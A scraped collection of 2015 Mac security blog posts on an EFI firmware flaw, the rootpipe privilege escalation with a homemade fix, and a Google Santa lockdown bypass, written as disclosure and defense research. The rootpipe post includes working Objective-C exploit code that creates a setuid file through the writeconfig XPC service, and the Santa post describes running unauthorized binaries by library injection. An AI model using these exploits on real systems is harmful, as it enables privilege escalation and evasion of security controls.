valuable bug. Ooops!!!!\nEither way the goal is to pressure them to fix their firmware. It doesn’t seem they are in a hurry 😉.\nWhy no fancy logo and name? Well, because this is a variation of the Dark Jedi attack and I’m old school. I still believe knowledge should be shared for everyone to learn instead of PR whoring. And I already get enough PR from this blog.\nUpdate:\nIt appears I miscalculated this thing and appears to be an effective 0day. Doesn’t really matter since I always wanted to disclose it and not sell it due to its very powerful nature (and not working in newer machines). Never assume all bugs are shallow.\nYou might ask if I am into something against Apple judging by the tone of some posts. I am not. I like OS X and I respect Apple security people who I met a few times. My goal is to make OS X better and more secure.\nThe issue at stake is that I believe Apple has a corporate culture problem regarding security (like Microsoft had many years ago) and they only seem to react when pushed against a corner. If they indeed knew about the bug – because I don’t believe it’s a coincidence not working in latest machines – then they keep their pattern of not patching older versions. This is a bad policy and at least if they want to put it in practice at least be straightforward with customers and warn them about the issues. People can then take informed decisions about their risks. Of course this is wishful thinking and they will not shoot their own foot coming forward with things like this. But that’s a philosophical discussion about management around the world and why it’s so wrong these days.\nHow can you mitigate/detect a possible EFI compromise?\nYou can build a SPI dumper and use Trammell’s software to directly dump the flash chip. Then you can compare its contents against the firmware files provided by Apple. I asked Apple to start publishing these files and their signatures so we can have a good baseline to compare against. Hopefully they will do this one day. I built some tools for this purpose but they aren’t public.\nThis solves the EFI problem but others are left. For example there is SMC. Alex Ionescu made a very interesting presentation about it a few years ago at NoSuchCon. SMC has a very interesting potential for compromise so it’s also something that needs more research. And now we have PoC regarding GPU rootkits. Every single chip that has firmware and somehow talks to the operating system is open for compromise. We need to think different and start a trust chain from hardware to software. Everyone is trying to solve problems starting from software when the hardware is built on top of weak foundations.\nApple has a great opportunity here because they control their full supply chain and their own designs. I hope they finally see the light and take over this great opportunity. Google is trying with Chromebook.\nIs physical access required to exploit this bug?\nNo, there’s no physical access required to exploit this. You can trigger sleep with sudo pmset sleepnow (thanks Trammell). And then you just wait to come back from sleep and continue exploitation.\nHow to test for this bug?\nDownloading DarwinDumper and load the DirectHW.kext kernel extension. Then you can use flashrom with flashrom -r biosdump -V -p internal to dump the bios and show the register contents. Else you can compile yourself DirectHW.kext and also flashrom. DarwinDumper just works out of the box and its kext appears to be legit (it’s on Apple exclusion list so at least Apple trusts it).\nShould you be worried about this bug?\nAs a general user you shouldn’t, in theory, be much worried with this bug more than you were with Thunderstrike. This is a bug more interesting to attack targeted users than mass exploitation, although a drive-by exploit is definitely feasible.\nThere are easier and cheaper attacks available against you the general user. As a reminder the latest Mac botnet infected around 17k users just by asking them for administrator privileges. Sophisticated attacks are not required when simple things still work.\nHave fun,\nfG!\nP.S.:\nThe bug can be used with a Safari or other remote vector to install an EFI rootkit without physical access. The only requirement is that a suspended happened in the current session. I haven’t researched but you could probably force the suspend and trigger this, all remotely. That’s pretty epic ownage 😃.\n","permalink":"https://reverse.put.as/2015/05/29/the-empire-strikes-back-apple-how-your-mac-firmware-security-is-completely-broken/","summary":"If you are a rootkits fan the latest Chaos Communication Congress (CCC) in 2014 brought us two excellent presentations, Thunderstrike by Trammell Hudson and Attacks on UEFI security, inspired by Darth Venami’s misery and Speed Racer by Rafal Wojtczuk and Corey Kallenberg.\nThe first one was related to the possibility to attack EFI from a Thunderbolt device, and the second had a very interesting vulnerability regarding the (U)EFI boot script table.","title":"The Empire Strikes Back Apple – how your Mac firmware security is completely broken"},{"content":"The rootpipe vulnerability was finally fully disclosed last week after a couple of months of expectation since its first announcement. It was disclosed as a hidden backdoor but it’s really something more related to access control and crap design than a backdoor. Although keep in mind that good backdoors should be hard to distinguish from simple errors. In this case there are a lot of services using this feature so it’s hardly a hidden backdoor that just sits there waiting for some evil purpose. Apple doesn’t have a stellar security record so the simple explanation has a good chance to prevail over the backdoor story.\nAnyway that’s not what really matter for this post. The most important issue is that a fix was made available only for Yosemite 10.10.3. Every other OS X version is left vulnerable. While this is a local privilege escalation vulnerability there are many scenarios where it can be used (you don’t audit every single installer and software that runs on your Mac, do you?). It is extremely reliable and can be used in different ways other than just creating a suid binary. The vulnerability author wrote the following regarding this issue:\n\u0026ldquo;Apple indicated that this issue required a substantial amount of changes on their side, and that they will not back port the fix to 10.9.x and older.\u0026rdquo;\u0026quot;\nSo essentially Apple refuses to patch this in all versions except the latest one because it’s apparently too much work. There is no official statement from Apple regarding the EOL (End of Life) status about all previous OS X versions so this course of action is quite strange. Even stranger when Apple backports some security patches to those older versions so they are implicitly not yet dead versions.\nIn this situation what can we do?\nWe can try to verify what is the real impact of Apple’s fix and call their bluff if we can prove that we are able to produce a fix without significant changes to the operating system. Challenge accepted!\nPart 1 – The vulnerability The core of this vulnerability resides in the writeconfig XPC service that is part of the SystemAdministration private framework. It is essentially an helper to keep privileged operations separated from the binaries that require those privileged operations. It contains an interesting method called createFileWithContents:path:attributes: that allows to create a file anywhere in the filesystem with whatever permissions we want. This is the method being exploited to create a suid binary that allows privilege escalation. We can also use it to create a launchd daemon, modify sudo configurations and so on. This XPC service contains other methods that could be useful for exploitation but this one is good enough. The following code snippet is the port to Objective-C of the original Python PoC:\nint get_me_rootpipe(const char *sourceFile) { Class hackClass = (Class)objc_lookUpClass(\u0026#34;WriteConfigClient\u0026#34;); if (hackClass != nil) { if ([hackClass respondsToSelector:@selector(sharedClient)]) { id sharedClient = [hackClass performSelector:@selector(sharedClient)]; if (sharedClient != nil) { [sharedClient performSelector:@selector(authenticateUsingAuthorizationSync:) withObject:nil]; id tool = [sharedClient performSelector:@selector(remoteProxy)]; NSMutableDictionary *attr = [NSMutableDictionary new]; [attr setValue:[NSNumber numberWithShort:04777] forKey:NSFilePosixPermissions]; NSData *file = [[NSData alloc] initWithContentsOfFile:[NSString stringWithUTF8String:sourceFile]]; /* use NSInvocation because we have more than 2 parameters for the selector */ SEL mySelector = NSSelectorFromString(@\u0026#34;createFileWithContents:path:attributes:\u0026#34;); NSInvocation *inv = [NSInvocation invocationWithMethodSignature:[tool methodSignatureForSelector:mySelector]]; [inv setSelector:mySelector]; [inv setTarget:tool]; /* the target where we want to invoke the method */ [inv setArgument:\u0026amp;amp;file atIndex:2]; /* hardcoded value */ NSString *targetFile = @\u0026#34;/tmp/suid_diagnostic_service\u0026#34;; [inv setArgument:\u0026amp;amp;targetFile atIndex:3]; [inv setArgument:\u0026amp;amp;attr atIndex:4]; /* rootpipe everything! Thank you Apple once again :-) */ [inv invoke]; } } } return 0; } The vulnerability author reports that this service appears to be used by System Preferences and systemsetup applications. This is true but there are also other binaries using this service. The core of this vulnerability is that there is no access control regarding which binaries can access this service. If a user can obtain the necessary connection to the XPC service he is able to call that method and do whatever he wants in the system. There is a second vulnerability in the way any user can obtain the necessary connection to the XPC service. If a nil object is passed to authenticateUsingAuthorizationSync: the connection will succeed and it is game over. This makes it possible for any user to connect to the service. This second vulnerability isn’t necessary in case the user as admin privileges, which is a valid scenario for many default installations.\nPart 2 – Apple’s fix The next step is to try to reverse the fix made in 10.10.3 release. We know that writeconfig is the vulnerable service so it is reasonable to expect most changes happening there. It is also reasonable to expect Apple to interpret this issue as an access control problem. If this is true there should be some kind of new access control mechanism implemented. The easiest option would be to bindiff the binary but I was too lazy to launch the Windows VM with bindiff and still haven’t tried to set up Diaphora in OS X. How are XPC services implemented? Apple’s documentation can be found here.\nEssentially there is a main function implemented that creates and configures a listener object and a delegate class we must create. The delegate class must conform to the NSXPCListenerDelegate protocol. This protocol contains a single method listener:shouldAcceptNewConnection:, which accepts or rejects connections to the listener. Bingo, this is probably what we are looking after. Are there any differences between the 10.10.3 version and older ones?\n10.10.1:\n0000000100002133 ; char __cdecl -[WriteConfigDispatch listener:shouldAcceptNewConnection:](struct WriteConfigDispatch *self, SEL, id, id) 0000000100002133 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ proc near 0000000100002133 ; DATA XREF: __objc_const:000000010001C7F8\u0019o 0000000100002133 0000000100002133 var_30 = qword ptr -30h 0000000100002133 0000000100002133 push rbp 0000000100002134 mov rbp, rsp 0000000100002137 push r15 0000000100002139 push r14 000000010000213B push r13 000000010000213D push r12 000000010000213F push rbx 0000000100002140 push rax 0000000100002141 mov r13, rcx 0000000100002144 mov r15, rdi 0000000100002147 mov r12, cs:selRef_setExportedObject_ 000000010000214E mov rdi, r13 0000000100002151 call cs:_objc_retain_ptr 0000000100002157 mov [rbp+var_30], rax 000000010000215B mov r14, cs:_objc_msgSend_ptr 0000000100002162 mov rdi, r13 0000000100002165 mov rsi, r12 0000000100002168 mov rdx, r15 000000010000216B call r14 ; _objc_msgSend 000000010000216E mov rdi, cs:classRef_NSXPCInterface 0000000100002175 mov rdx, cs:protocolRef_XPCWriteConfigProtocol 000000010000217C mov rsi, cs:selRef_interfaceWithProtocol_ 0000000100002183 call r14 ; _objc_msgSend 0000000100002186 mov rdi, rax 0000000100002189 call _objc_retainAutoreleasedReturnValue 000000010000218E mov rbx, rax 0000000100002191 mov rsi, cs:selRef_setExportedInterface_ 0000000100002198 mov rdi, r13 000000010000219B mov rdx, rbx 000000010000219E call r14 ; _objc_msgSend 00000001000021A1 mov r15, cs:_objc_release_ptr 00000001000021A8 mov rdi, rbx 00000001000021AB call r15 ; _objc_release 00000001000021AE mov rsi, cs:selRef_setInvalidationHandler_ 00000001000021B5 lea rdx, off_100019730 00000001000021BC mov rdi, r13 00000001000021BF call r14 ; _objc_msgSend 00000001000021C2 mov rsi, cs:selRef_resume 00000001000021C9 mov rdi, r13 00000001000021CC call r14 ; _objc_msgSend 00000001000021CF mov rdi, [rbp+var_30] 00000001000021D3 call r15 ; _objc_release 00000001000021D6 mov eax, 1 00000001000021DB add rsp, 8 00000001000021DF pop rbx 00000001000021E0 pop r12 00000001000021E2 pop r13 00000001000021E4 pop r14 00000001000021E6 pop r15 00000001000021E8 pop rbp 00000001000021E9 retn 00000001000021E9 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ endp 10.10.3\n0000000100001C71 ; WriteConfigDispatch - (char)listener:(id) shouldAcceptNewConnection:(id) 0000000100001C71 ; Attributes: bp-based frame 0000000100001C71 0000000100001C71 ; char __cdecl -[WriteConfigDispatch listener:shouldAcceptNewConnection:](struct WriteConfigDispatch *self, SEL, id, id) 0000000100001C71 __WriteConfigDispatch_listener_shouldAcceptNewConnection__ proc near 0000000100001C71 ; DATA XREF: __objc_const:000000010001C958\u0019o 0000000100001C71 0000000100001C71 var_490 = qword ptr -490h 0000000100001C71 var_488 = qword ptr -488h 0000000100001C71 var_480 = qword ptr -480h 0000000100001C71 var_478 = qword ptr -478h 0000000100001C71 var_470 = qword ptr -470h 0000000100001C71 var_468 = qword ptr -468h 0000000100001C71 var_460 = xmmword ptr -460h 0000000100001C71 var_450 = xmmword ptr -450h 0000000100001C71 buffer = byte ptr -440h 0000000100001C71 var_43F = byte ptr -43Fh 0000000100001C71 var_43E = byte ptr -43Eh 0000000100001C71 var_43D = byte ptr -43Dh 0000000100001C71 var_30 = qword ptr -30h 0000000100001C71 0000000100001C71 push rbp 0000000100001C72 mov rbp, rsp 0000000100001C75 push r15 0000000100001C77 push r14 0000000100001C79 push r13 0000000100001C7B push r12 0000000100001C7D push rbx 0000000100001C7E sub rsp, 468h 0000000100001C85 mov rbx, rcx 0000000100001C88 mov r15, rdi 0000000100001C8B mov rax, cs:___stack_chk_guard_ptr 0000000100001C92 mov rax, [rax] 0000000100001C95 mov [rbp+var_30], rax 0000000100001C99 mov r14, cs:_objc_retain_ptr 0000000100001CA0 mov rdi, rdx 0000000100001CA3 call r14 ; _objc_retain 0000000100001CA6 mov [rbp-470h], rax 0000000100001CAD mov rdi, rbx 0000000100001CB0 call r14 ; _objc_retain 0000000100001CB3 mov r12, rax 0000000100001CB6 test r12, r12 0000000100001CB9 jz short loc_100001CD3 0000000100001CBB mov rdx, cs:selRef_auditToken 0000000100001CC2 lea rdi, [rbp-460h] 0000000100001CC9 mov rsi, r12 0000000100001CCC call _objc_msgSend_stret 0000000100001CD1 jmp short loc_100001CE4 0000000100001CD3 ; --------------------------------------------------------------------------- 0000000100001CD3 0000000100001CD3 loc_100001CD3: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+48\u0018j 0000000100001CD3 xorps xmm0, xmm0 0000000100001CD6 movaps [rbp+var_450], xmm0 0000000100001CDD movaps [rbp+var_460], xmm0 0000000100001CE4 0000000100001CE4 loc_100001CE4: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+60\u0018j 0000000100001CE4 mov rax, qword ptr [rbp+var_450+8] 0000000100001CEB mov [rsp+490h+var_478], rax 0000000100001CF0 mov rax, qword ptr [rbp+var_450] 0000000100001CF7 mov [rsp+490h+var_480], rax 0000000100001CFC mov rax, qword ptr [rbp+var_460] 0000000100001D03 mov rcx, qword ptr [rbp+var_460+8] 0000000100001D0A mov [rsp+490h+var_488], rcx 0000000100001D0F mov [rsp+490h+var_490], rax 0000000100001D13 xor edi, edi 0000000100001D15 call _SecTaskCreateWithAuditToken 0000000100001D1A mov rbx, rax 0000000100001D1D test rbx, rbx 0000000100001D20 jz loc_100001E32 0000000100001D26 mov [rbp+var_468], 0 0000000100001D31 lea rsi, cfstr_Com_apple_priv ; \u0026#34;com.apple.private.admin.writeconfig\u0026#34; 0000000100001D38 lea rdx, [rbp+var_468] 0000000100001D3F mov rdi, rbx 0000000100001D42 call _SecTaskCopyValueForEntitlement 0000000100001D47 mov r13, rax 0000000100001D4A mov rsi, [rbp+var_468] 0000000100001D51 test rsi, rsi 0000000100001D54 jz short loc_100001D70 0000000100001D56 lea rdi, cfstr_UnableToGetEnt ; \u0026#34;### Unable to get entitlements for client task. Error: %@\u0026#34; 0000000100001D5D xor eax, eax 0000000100001D5F call _NSLog 0000000100001D64 mov rdi, [rbp+var_468] 0000000100001D6B call _CFRelease 0000000100001D70 0000000100001D70 loc_100001D70: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+E3\u0018j 0000000100001D70 test r13, r13 0000000100001D73 jz loc_100001E4A 0000000100001D79 mov rdi, r13 0000000100001D7C call _CFGetTypeID 0000000100001D81 mov r14, rax 0000000100001D84 call _CFBooleanGetTypeID 0000000100001D89 cmp r14, rax 0000000100001D8C jnz loc_100001E42 0000000100001D92 mov rdi, r13 0000000100001D95 call _CFBooleanGetValue 0000000100001D9A mov r14b, al 0000000100001D9D mov rdi, r13 0000000100001DA0 call _CFRelease 0000000100001DA5 mov rdi, rbx 0000000100001DA8 call _CFRelease 0000000100001DAD test r14b, r14b 0000000100001DB0 jz loc_100001E52 0000000100001DB6 mov rsi, cs:selRef_setExportedObject_ 0000000100001DBD mov r14, cs:_objc_msgSend_ptr 0000000100001DC4 mov rdi, r12 0000000100001DC7 mov rdx, r15 0000000100001DCA call r14 ; _objc_msgSend 0000000100001DCD mov rdi, cs:classRef_NSXPCInterface 0000000100001DD4 mov rdx, cs:protocolRef_XPCWriteConfigProtocol 0000000100001DDB mov rsi, cs:selRef_interfaceWithProtocol_ 0000000100001DE2 call r14 ; _objc_msgSend 0000000100001DE5 mov rdi, rax 0000000100001DE8 call _objc_retainAutoreleasedReturnValue 0000000100001DED mov rbx, rax 0000000100001DF0 mov rsi, cs:selRef_setExportedInterface_ 0000000100001DF7 mov rdi, r12 0000000100001DFA mov rdx, rbx 0000000100001DFD call r14 ; _objc_msgSend 0000000100001E00 mov rdi, rbx ; _QWORD 0000000100001E03 call cs:_objc_release_ptr 0000000100001E09 mov rsi, cs:selRef_setInvalidationHandler_ 0000000100001E10 lea rdx, off_1000197C0 0000000100001E17 mov rdi, r12 0000000100001E1A call r14 ; _objc_msgSend 0000000100001E1D mov rsi, cs:selRef_resume 0000000100001E24 mov rdi, r12 0000000100001E27 call r14 ; _objc_msgSend 0000000100001E2A mov r14b, 1 0000000100001E2D jmp loc_100001F0D 0000000100001E32 ; --------------------------------------------------------------------------- 0000000100001E32 0000000100001E32 loc_100001E32: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+AF\u0018j 0000000100001E32 lea rdi, cfstr_UnableToCreate ; \u0026#34;### Unable to create security task from audit token\u0026#34; 0000000100001E39 xor eax, eax 0000000100001E3B call _NSLog 0000000100001E40 jmp short loc_100001E52 0000000100001E42 ; --------------------------------------------------------------------------- 0000000100001E42 0000000100001E42 loc_100001E42: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+11B\u0018j 0000000100001E42 mov rdi, r13 0000000100001E45 call _CFRelease 0000000100001E4A 0000000100001E4A loc_100001E4A: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+102\u0018j 0000000100001E4A mov rdi, rbx 0000000100001E4D call _CFRelease 0000000100001E52 0000000100001E52 loc_100001E52: ; CODE XREF: -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+13F\u0018j 0000000100001E52 ; -[WriteConfigDispatch listener:shouldAcceptNewConnection:]+1CF\u0018j 0000000100001E52 mov rsi, cs:selRef_processIdentifier 0000000100001E59 mov rdi, r12 0000000100001E5C call cs:_objc_msgSend_ptr 0000000100001E62 lea rsi, [rbp+buffer] ; buffer 0000000100001E69 mov edx, 401h ; buffersize 0000000100001E6E mov edi, eax ; pid 0000000100001E70 call _proc_pidpath 0000000100001E75 lea ecx, [rax-1] 0000000100001E78 cmp ecx, 3FEh 0000000100001E7E ja short loc_100001ECC 0000000100001E80 cdqe 0000000100001E82 mov [rbp+rax+buffer], 0 0000000100001E8A mov rdi, cs:classRef_NSString 0000000100001E91 mov rsi, cs:selRef_stringWithUTF8String_ 0000000100001E98 lea rdx, [rbp+buffer] 0000000100001E9F call cs:_objc_msgSend_ptr 0000000100001EA5 mov rdi, rax 0000000100001EA8 call _objc_retainAutoreleasedReturnValue 0000000100001EAD mov rbx, rax 0000000100001EB0 lea rdi, cfstr_AccessDeniedFo ; \u0026#34;### Access denied for unentitled client %@\u0026#34; 0000000100001EB7 xor eax, eax 0000000100001EB9 mov rsi, rbx 0000000100001EBC call _NSLog 0000000100001EC1 mov rdi, rbx ; _QWORD 0000000100001EC4 call cs:_objc_release_ptr 0000000100001ECA jmp short loc_100001EF6 (...) Yes, there are quite significant changes between the two versions. The old version doesn’t seem to do any kind of access control while the new version implements a new private entitlement called com.apple.private.admin.writeconfig. If the binary calling the XPC service does not contain this entitlement then it can’t connect anymore to the XPC. Let’s try to run the exploit code in 10.10.3:\nExecuting rootpiped diagnostic service... 2015-04-13 10:17:16.665 diagnostic_service[687:37692] ### syncProxyWithSemaphore error:Error Domain=NSCocoaErrorDomain Code=4097 \u0026#34;Couldn’t communicate with a helper application.\u0026#34; (connection to service named com.apple.systemadministration.writeconfig) UserInfo=0x7f9ef8c0d2c0 {NSDebugDescription=connection to service named com.apple.systemadministration.writeconfig} As expected our exploit code doesn’t have that private entitlement and can no longer connect to writeconfig XPC service.\nIf we grep a 10.10.3 system (or unpack the update pkg) for that entitlement we will find around 50 binaries that contain the new entitlement. This shows us how this XPC service is deeply integrated into OS X and probably why Apple doesn’t want to backport the fix to older OS X versions. For a hidden backdoor that’s a lot of work and services dependent on it.\nPart 3 – Developing our own fix for older versions To be honest I didn’t verify for any other major changes in SystemAdministration framework. The reason is that I think the new entitlement fixes the issue. Access is now restricted to Apple selected binaries with the new private entitlement. The vulnerable method to the nil object doesn’t appear to be modified (technically sending a nil object in Objective-C is valid).\nAssuming that the entitlement and correspondent access control create a permanent fix, can we use the same concept to fix the issue in older versions without all the changes a new entitlement might require? Apple says no. I say yes, it is possible and it’s much easier than it might appear. It can be even easier if Apple does it because they can skip some of the intermediate steps my fix requires.\nWhat we need is a way to (dynamically) introduce some kind of access control to writeconfig and limit the binaries that can connect to it. I mean dynamically because I guess that if we directly patch the binary we will break the code signature and it will stop working (I did not test this, just guessing!). Even if patching was possible it wouldn’t completely solve the problem as we will soon understand.\nWe need to add access control to the listener delegate that XPC services implement, listener:shouldAcceptNewConnection:. Being a Objective-C binary this is quite easy using swizzling. The idea is to inject a dynamic library into the process, swizzle the original method, implement access control in our own method, and call the original method if the binary passes our checks.\nHow can we implement the access control? The first idea was to use code signatures to verify if the binary is an Apple binary (because technically only Apple binaries should be allowed to connect). This sort of works because even if we code sign an exploit binary it will not pass the check because it’s not Apple’s certificate.\nThe problem of this approach is that it can be easily bypassed using the same trick as Google’s Santa. We just need to inject a library using DYLD_INSERT_LIBRARIES into any Apple signed process (/bin/ls for example) and call the exploit payload from the library.\nHardcoding the paths of all the allowed binaries still doesn’t solve this issue. We reduce the number of binaries that can be used but we can still call an authorized binary and inject the attacking library.\nThe solution is to block DYLD_INSERT_LIBRARIES injection into the authorized binaries. Is there any operating system support for this? Yes there is. dyld (the linker) is responsible for loading the library specified in DYLD_INSERT_LIBRARIES. It will ignore this and other environment variables if the process is considered restricted. In what conditions does it consider a process restricted?\nIf it has setuid or setgid bit set. If it contains a __RESTRICT segment (read this post for further info). If it has entitlements. For example in 10.10.3 we can’t use this trick to exploit the binaries that contain the new entitlement. Because they have entitlements dyld will clear the variable so we can’t piggyback on their entitlement from our injected library (that is really never injected into the process).\nOnce again, we don’t want to modify any binaries at disk so we need to do it dynamically. One possible solution would be to modify dyld on the fly and inject some code to mark the authorized processes as restricted. The easiest solution is to do this from a kernel extension and inject a new __RESTRICT segment into the authorized processes.\nMy proposed fix contains two components, a kernel extension and a dynamic library.\nThe kernel extension, Mario, is responsible for injecting the dynamic library into the writeconfig process (using the same technique as published in my Phrack article), and for injecting a __RESTRICT segment and __restrict section into all processes authorized to connect to the XPC service. The authorized processes list is hardcoded and was obtained by grep’ing all the binaries in Yosemite that have the new entitlement. Those who do not exist in Mavericks were removed from the list. A few processes might be missing from this list so this will require a bit of additional testing to gather all the binaries.\nThe kext is implemented as a TrustedBSD policy module (you know I love TrustedBSD, right?). It can be loaded as soon as possible in the system because it uses the com.apple. trick in the bundle identifier.\nThe dynamic library, Luigi, injected into the writeconfig XPC binary is responsible for accepting or denying the connection to the XPC service. It does this by verifying the path of the binary and its code signature. If not in the authorized path list or code signature is bad the connection will be denied. The information about the connecting process can be obtained from the newConnection parameter in the listener method. We can obtain the PID of the connecting process and then its associated path using proc_pidpath function. A log file is created in /tmp/rootpipe_fix_log, with all authorized and unauthorized connections to the XPC service.\nPart 4 – Can Apple implement this fix? Yes they can. And they don’t need a kernel extension at all. They need to modify the writeconfig code to do the same job as the dynamic library and dyld to restrict library injection in the authorized binaries. This requires a hardcoded list into dyld and writeconfig (or a plist somewhere that can be codesigned and verified both by writeconfig and dyld). It’s not a pretty fix but it should work and it’s way better than leaving a large userbase completely vulnerable to this bug.\nUpdate: obviously I forgot to write this in the original post, but there’s no need to modify dyld since all the binaries just need to be recompiled with the extra __RESTRICT segment. The only one that requires a hardcoded list is writeconfig.\nPart 5 – Conclusion Hopefully I have convinced you that it is indeed possible to fix the rootpipe vulnerability in older versions without major OS X changes. It can also be applied to other versions with minor or no work at all. Apple’s response to this issue is not acceptable at all. There is no official end of life (EOL) statements from Apple regarding older OS X versions. If there is no such statement and Apple still releases some security patches for those versions then it’s perfectly reasonable to assume they are still supported and it’s a user choice to use them or not. Leaving users exposed to such dangerous vulnerabilities with fully working public exploits available is simply irresponsible. Let me remind you that iWorm botnet infected more than 17k hosts just by asking the users for admin privileges. How large do you think a botnet can be by exploiting this vulnerability to escalate privileges without any user intervention at all?\nIt’s not possible for Apple to not want to assume the potential costs and risks of declaring OS X versions EOL but also to not want to backport really important security fixes to older OS X versions because that implies “too much work” (where too much work is my personal interpretation of Apple’s answer regarding this). The 90s are over, learn a bit with Microsoft. Microsoft isn’t perfect but they learnt some lessons and improved a lot regarding security. We all would love to have users running all the latest versions of every piece of software. Reality is much different else there wouldn’t be a problem called Windows XP. Learn with other’s mistakes, they are cheaper.\nSource code available at:\nMario – https://github.com/gdbinit/mario\nLuigi – https://github.com/gdbinit/luigi\nFeel free to send any bug reports or problems with this patch. Code might contain some bugs, large part of it was copy \u0026amp; pasted from older projects. This means it’s not production code but something to pressure Apple to fix the issue.\nHave fun,\nfG!\nUpdate:\nThere is malware from 2014 that was already exploiting this vulnerability. Found by noar, the following sample contains the exploit code for both Mavericks and older versions. It uses the exploit to activate the Accessibility API. See, we don’t even need to wait for new malware, it was already being exploited in the wild. The malware sample is described by FireEye here, but they totally miss the zero day there. They just lightly describe the result but not the technique.\n","permalink":"https://reverse.put.as/2015/04/13/how-to-fix-rootpipe-in-mavericks-and-call-apples-bullshit-bluff-about-rootpipe-fixes/","summary":"The rootpipe vulnerability was finally fully disclosed last week after a couple of months of expectation since its first announcement. It was disclosed as a hidden backdoor but it’s really something more related to access control and crap design than a backdoor. Although keep in mind that good backdoors should be hard to distinguish from simple errors. In this case there are a lot of services using this feature so it’s hardly a hidden backdoor that just sits there waiting for some evil purpose.","title":"How to fix rootpipe in Mavericks and call Apple’s bullshit bluff about rootpipe fixes"},{"content":"Santa is a binary whitelisting/blacklisting system made by Google Macintosh Operations Team. While I refer to it as Google’s Santa it is not an official Google product. It is based on a kernel extension and userland components to control the execution of binaries in OS X systems.\nIt features two interesting modes of execution, monitor and lockdown. The monitor mode is a blacklisting system, where all binaries except those blacklisted can run. The lockdown mode is a whitelisting system, where only the whitelisted binaries can run and everything else will be blocked. This is the mode we want to attack and bypass since it’s the most interesting one from an attacker’s perspective.\nThe system works by having the kernel extension to notify the userland daemon about every new process that is executed in the system. The kernel extension retrieves this information using the Kernel Authorization (kauth) feature available since OS X 10.4. Essentially a callback is installed and the Santa driver will be notified every time a process is executed. This means that exec() and variants will result in a notification to the driver that will then decide to send the event to userland or not.\nThe userland component has an associated database that can whitelist or blacklist binaries based on path, certificate, and hashes (I think I’m not wrong on this). The code signature feature is interesting because it allows you to whitelist or blacklist an entire publisher. For example a company could easily restrict all the software that is allowed to run in their systems based on their code signing certificate. By default the lockdown mode install will whitelist Apple’s and Google’s certificates, else the system would enter a deadlock. Assuming we are not tampering with Santa’s binaries and attacking its implementation (if we can run kernel exploit code we can easily disable it) can we bypass the lockdown mode if we want to run our code that is not allowed to run?\nYes we can, and it’s very easy to do it.\nWhat Santa essentially controls and restricts is exec and variants. But that’s not the only possible way to run arbitrary code. There is the obvious way of exploiting something and running our shellcode/ROP payload, and there are also dynamic libraries. Because Santa only controls exec we can run whatever code we want via a dynamic library injected using DYLD_INSERT_LIBRARIES without tampering with any Santa binary. We can go further and instead of putting all our code inside a dynamic library we can use it to run regular binaries that are not authorized to in lockdown mode.\nWe simply need to piggyback on any Apple signed binary (remember the system deadlock problem) with DYLD_INSERT_LIBRARIES to inject our library. For example any command line utility such as /bin/ls will do the job.\nHow can we execute other binaries using an injected dynamic library? That’s quite easy using some obscure and deprecated dyld functions. For example NSCreateObjectFileImageFromMemory and NSLinkModule allow us to load an arbitrary executable into memory and execute it (please refer to Mac Hackers Handbook Chapter 9 and MemoryBasedBundle example by Apple).\nThe workflow is very simple. We inject our library into a whitelisted binary, load the unauthorized binary with those two dyld functions, and start it by calling its entrypoint (main) function. Because this doesn’t trigger a second exec we just bypass Santa controls. The original process will continue execution in the unauthorized binary and that’s it.\nThe sample code uses the deprecated APIs, which can be removed anytime (although they have been marked deprecated for quite a few OS X major versions). There’s really no need to use those APIs because we can do all their work ourselves. Most of the work is related to linking, so we could implement ourselves a simplified linker or reimplement those functions and have dyld do all the dirty work for ourselves. As long we are able to inject a dynamic library we are able to bypass Santa. The DLL hijacking issue recently presented by Patrick Wardle could be used to plant the library and then execute any APT material.\nThe easiest way to fix this is to remove the possibility of library injection via DYLD_INSERT_LIBRARIES. The next post contains a kernel extension that implements this by injecting a __RESTRICT segment into certain binaries we want to restrict injection. The real problem is that DYLD_INSERT_LIBRARIES feature should not exist by default and should be instead a system setting disabled by default. Stefan’s SyScan presentation is a good read regarding the problems of default features and unfixed stuff in iOS (and OS X).\nProof of concept code:\nHello Santa Bye Santa – https://github.com/gdbinit/hello_santa_bye_santa\nLast time I tested this was a month ago or something. Judging by the commits logs I guess the issue isn’t fixed so it should still work. This is technically a zero day. I wanted to present it a SyScan’s WhiskeyCon but then decided not to, and now I’m disclosing it because the next post about rootpipe fix requires its disclosure.\nEnjoy,\nfG!\nP.S.:\nDefense is hard, in particular when working on a minefield such as OS X.\nUpdate:\nThis is a very nice blog post talking about white-list systems expectations. This is exactly what’s missing from most security products. Right after their features they should discuss their assumptions, shortcomings, and expected scenarios. You know, most of the times the expectations between who builds the product and who uses it are quite far away. Yes, it’s probably more wishful thinking than anything else. Commercial products will never do this, they are too afraid of losing customers.\n","permalink":"https://reverse.put.as/2015/04/13/how-to-bypass-googles-santa-lockdown-mode/","summary":"Santa is a binary whitelisting/blacklisting system made by Google Macintosh Operations Team. While I refer to it as Google’s Santa it is not an official Google product. It is based on a kernel extension and userland components to control the execution of binaries in OS X systems.\nIt features two interesting modes of execution, monitor and lockdown. The monitor mode is a blacklisting system, where all binaries except those blacklisted can run.","title":"How to bypass Google’s Santa LOCKDOWN mode"},{"content":"The last SyScan is almost here so it’s time to get again into a plane and travel to Singapore.\nThis means that the slides and source code can finally be released. Below you can find the archive with both presentations slides (they are slightly different, SyScan version fixes/upgrades a few things) and full source code for both rootkit/kext loaders.\nI hope you enjoy them; they are quite fun techniques, in particular the second one which now I sort of regret to disclose because it’s so cool. I’ve also written a book chapter about both techniques (53 pages before editing) which add a few more tricks. I’m working on the book so hopefully it will finally come out this year.\nThe archive password will be released on the day of my presentation (27th March) so keep an eye on Twitter and SyScan website. If you crack it before that keep its contents private.\nIf you are at SyScan feel free to have a chat. I’m there to meet new people and also learn.\nHope you enjoy,\nfG!\nUpdate:\nYou can find the files below, the archive was removed.\nThe final version presented at SyScan can be downloaded here.\nAnd the CodeBlue 2014 version here.\nThe full source code is available at GitHub, diagnostic_service and 